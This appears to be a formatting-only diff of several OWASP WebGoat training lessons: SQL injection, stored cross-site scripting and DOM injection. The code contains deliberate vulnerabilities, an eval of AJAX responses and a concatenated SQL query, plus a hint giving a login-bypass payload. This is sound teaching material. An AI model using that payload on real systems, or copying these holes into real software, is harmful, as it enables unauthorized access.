s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) && if (DBCrossSiteScripting.STAGE2.equals(getStage(s))
(e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) && && (e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters"))
!employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$")) && !employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
{ {
setStageComplete(s, DBCrossSiteScripting.STAGE2); setStageComplete(s, DBCrossSiteScripting.STAGE2);
} }
} } catch (ClassNotFoundException e)
catch (ClassNotFoundException e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
@ -144,13 +127,11 @@ public class UpdateProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -165,9 +146,8 @@ public class UpdateProfile extends DefaultLessonAction
return DBCrossSiteScripting.VIEWPROFILE_ACTION; return DBCrossSiteScripting.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) throws SQLException,
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, ClassNotFoundException
Employee employee) throws SQLException, ClassNotFoundException
{ {
try try
{ {
@ -191,15 +171,13 @@ public class UpdateProfile extends DefaultLessonAction
call.setString(15, employee.getDisciplinaryActionNotes()); call.setString(15, employee.getDisciplinaryActionNotes());
call.setString(16, employee.getPersonalDescription()); call.setString(16, employee.getPersonalDescription());
call.executeUpdate(); call.executeUpdate();
} } catch (ClassNotFoundException e)
catch (ClassNotFoundException e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
} }
public void createEmployeeProfile(WebSession s, int userId, public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -226,14 +204,12 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
@ -245,20 +221,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement( Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} } catch (ClassNotFoundException e)
catch (ClassNotFoundException e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
e.printStackTrace(); e.printStackTrace();

96
main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBSQLInjection; package org.owasp.webgoat.lessons.DBSQLInjection;
import java.util.ArrayList; import java.util.ArrayList;
@ -20,32 +21,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -70,16 +70,11 @@ public class DBSQLInjection extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
@ -100,8 +95,7 @@ public class DBSQLInjection extends GoatHillsFinancial
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> " .add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>" + "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>"
@ -111,21 +105,19 @@ public class DBSQLInjection extends GoatHillsFinancial
+ "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause"); + "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
// Stage 1 // Stage 1
hints hints.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ ' OR userid=112 OR password=' ]."); hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
// Stage 2 // Stage 2
hints hints.add("Change the Stored procedure to use bind variables.");
.add("Change the Stored procedure to use bind variables.");
return hints; return hints;
} }
@Override @Override
public String[] getStages() { public String[] getStages()
if (getWebgoatContext().isCodingExercises()) {
return new String[] {STAGE1, STAGE2}; if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2 };
return new String[] { STAGE1 }; return new String[] { STAGE1 };
} }
@ -144,8 +136,7 @@ public class DBSQLInjection extends GoatHillsFinancial
if (STAGE1.equals(stage)) if (STAGE1.equals(stage))
{ {
instructions = "Stage 1: Use String SQL Injection to bypass authentication. " instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "The goal here is to login as the user " + "The goal here is to login as the user " + PRIZE_EMPLOYEE_NAME
+ PRIZE_EMPLOYEE_NAME
+ ", who is in the Admin group. " + ", who is in the Admin group. "
+ "You do not have the password, but the form is SQL injectable. " + "You do not have the password, but the form is SQL injectable. "
+ "View the EMPLOYEE_LOGIN stored procedure and see if you can " + "View the EMPLOYEE_LOGIN stored procedure and see if you can "
@ -165,15 +156,13 @@ public class DBSQLInjection extends GoatHillsFinancial
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -186,9 +175,9 @@ public class DBSQLInjection extends GoatHillsFinancial
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName()); // System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
if (!action.requiresAuthentication() // action.getActionName());
|| action.isAuthenticated(s)) if (!action.requiresAuthentication() || action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
@ -196,32 +185,27 @@ public class DBSQLInjection extends GoatHillsFinancial
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Missing parameter"); System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
System.out.println("Validation failed"); System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
System.out.println("Authentication failure"); System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure"); System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} } catch (Exception e)
catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
System.out.println("handleRequest() error"); System.out.println("handleRequest() error");
@ -239,7 +223,6 @@ public class DBSQLInjection extends GoatHillsFinancial
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *
@ -251,7 +234,8 @@ public class DBSQLInjection extends GoatHillsFinancial
} }
@Override @Override
protected boolean getDefaultHidden() { protected boolean getDefaultHidden()
{
String driver = getWebgoatContext().getDatabaseDriver(); String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = !(driver.contains("oracle") || driver.contains("jtds")); boolean hidden = !(driver.contains("oracle") || driver.contains("jtds"));
return hidden; return hidden;

116
main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.DBSQLInjection; package org.owasp.webgoat.lessons.DBSQLInjection;
import java.sql.CallableStatement; import java.sql.CallableStatement;
@ -7,7 +8,6 @@ import java.sql.Statement;
import java.sql.Types; import java.sql.Types;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -18,32 +18,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -52,32 +51,25 @@ public class Login extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{ {
// System.out.println("Login.handleRequest()"); // System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s); List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
+ DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null; String employeeId = null;
try try
{ {
employeeId = s.getParser().getStringParameter( employeeId = s.getParser().getStringParameter(DBSQLInjection.EMPLOYEE_ID);
DBSQLInjection.EMPLOYEE_ID); String password = s.getParser().getRawParameter(DBSQLInjection.PASSWORD);
String password = s.getParser().getRawParameter(
DBSQLInjection.PASSWORD);
// Attempt authentication // Attempt authentication
boolean authenticated = login(s, employeeId, password); boolean authenticated = login(s, employeeId, password);
@ -88,13 +80,11 @@ public class Login extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -103,34 +93,28 @@ public class Login extends DefaultLessonAction
else else
s.setMessage("Login failed"); s.setMessage("Login failed");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// No credentials offered, so we log them out // No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated", setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
Boolean.FALSE);
} }
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String nextPage = DBSQLInjection.LOGIN_ACTION; String nextPage = DBSQLInjection.LOGIN_ACTION;
if (isAuthenticated(s)) if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
nextPage = chainedAction.getNextPage(s);
return nextPage; return nextPage;
} }
public boolean requiresAuthentication() public boolean requiresAuthentication()
{ {
return false; return false;
} }
public boolean login(WebSession s, String userId, String password) public boolean login(WebSession s, String userId, String password)
{ {
boolean authenticated = false; boolean authenticated = false;
@ -142,34 +126,34 @@ public class Login extends DefaultLessonAction
try try
{ {
CallableStatement statement = WebSession.getConnection(s) CallableStatement statement = WebSession.getConnection(s)
.prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, .prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER); statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId)); statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password); statement.setString(3, password);
statement.execute(); statement.execute();
int rows = statement.getInt(1); int rows = statement.getInt(1);
if (rows > 0) { if (rows > 0)
setSessionAttribute(s, {
getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + DBSQLInjection.USER_ID, userId);
+ DBSQLInjection.USER_ID, userId);
authenticated = true; authenticated = true;
if (DBSQLInjection.STAGE1.equals(getStage(s)) && if (DBSQLInjection.STAGE1.equals(getStage(s))
DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId)) && DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
{ {
setStageComplete(s, DBSQLInjection.STAGE1); setStageComplete(s, DBSQLInjection.STAGE1);
} }
} else { }
else
{
if (DBSQLInjection.STAGE2.equals(getStage(s))) if (DBSQLInjection.STAGE2.equals(getStage(s)))
{ {
try try
{ {
String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }"; String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }";
statement = WebSession.getConnection(s) statement = WebSession.getConnection(s).prepareCall(call2,
.prepareCall(call2, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER); statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId)); statement.setInt(2, Integer.parseInt(userId));
@ -177,20 +161,18 @@ public class Login extends DefaultLessonAction
statement.execute(); statement.execute();
rows = statement.getInt(1); rows = statement.getInt(1);
if (rows > 0) if (rows > 0) setStageComplete(s, DBSQLInjection.STAGE2);
setStageComplete(s, DBSQLInjection.STAGE2); } catch (SQLException sqle2)
} {
catch (SQLException sqle2){}
} }
} }
} }
catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error logging in: " + sqle.getLocalizedMessage()); s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error logging in: " + e.getLocalizedMessage()); s.setMessage("Error logging in: " + e.getLocalizedMessage());
e.printStackTrace(); e.printStackTrace();
@ -215,8 +197,7 @@ public class Login extends DefaultLessonAction
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
@ -225,18 +206,15 @@ public class Login extends DefaultLessonAction
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
lastName, role);
employees.add(stub); employees.add(stub);
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();

87
main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -16,32 +16,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -56,8 +55,8 @@ public class DOMInjection extends LessonAdapter
private final static String KEY = "key"; private final static String KEY = "key";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
@ -69,13 +68,11 @@ public class DOMInjection extends LessonAdapter
{ {
String userKey = s.getParser().getRawParameter(KEY, ""); String userKey = s.getParser().getRawParameter(KEY, "");
String fromAJAX = s.getParser().getRawParameter("from", ""); String fromAJAX = s.getParser().getRawParameter("from", "");
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 && userKey.equals(key))
&& userKey.equals(key))
{ {
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse() PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
.getOutputStream());
out.print("document.forms[0].SUBMIT.disabled = false;"); out.print("document.forms[0].SUBMIT.disabled = false;");
out.flush(); out.flush();
out.close(); out.close();
@ -85,42 +82,31 @@ public class DOMInjection extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep + "function validate() {" String script = "<script>" + lineSep + "function validate() {" + lineSep
+ lineSep + "var keyField = document.getElementById('key');" + "var keyField = document.getElementById('key');" + lineSep + "var url = '" + getLink()
+ lineSep + "var url = '" + getLink() + "&from=ajax&key=' + encodeURIComponent(keyField.value);" + lineSep
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);" + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + "} else if (window.ActiveXObject) {" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep + "req = new XMLHttpRequest();" + lineSep + lineSep + " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep + " req.onreadystatechange = callback;" + lineSep + " req.send(null);" + lineSep + "}" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep + "function callback() {" + lineSep + " if (req.readyState == 4) { " + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep + " if (req.status == 200) { " + lineSep + " var message = req.responseText;"
+ " req.onreadystatechange = callback;" + lineSep + lineSep + " eval(message);" + lineSep + " }}}" + lineSep + "</script>" + lineSep;
+ " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var message = req.responseText;" + lineSep
+ " eval(message);" + lineSep + " }}}" + lineSep
+ "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
ec.addElement(new BR().addElement(new H1() ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:")));
.addElement("Welcome to WebGoat Registration Page:"))); ec.addElement(new BR()
ec
.addElement(new BR()
.addElement("Please enter the license key that was emailed to you to start using the application.")); .addElement("Please enter the license key that was emailed to you to start using the application."));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0) Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("70%").setAlign("center");
.setWidth("70%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD(new StringElement("License Key: "))); tr.addElement(new TD(new StringElement("License Key: ")));
@ -150,27 +136,23 @@ public class DOMInjection extends LessonAdapter
return ec; return ec;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
@ -181,7 +163,6 @@ public class DOMInjection extends LessonAdapter
return hints; return hints;
} }
public String getTitle() public String getTitle()
{ {
return "DOM Injection"; return "DOM Injection";

119
main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java
View File

@ -1,3 +1,4 @@
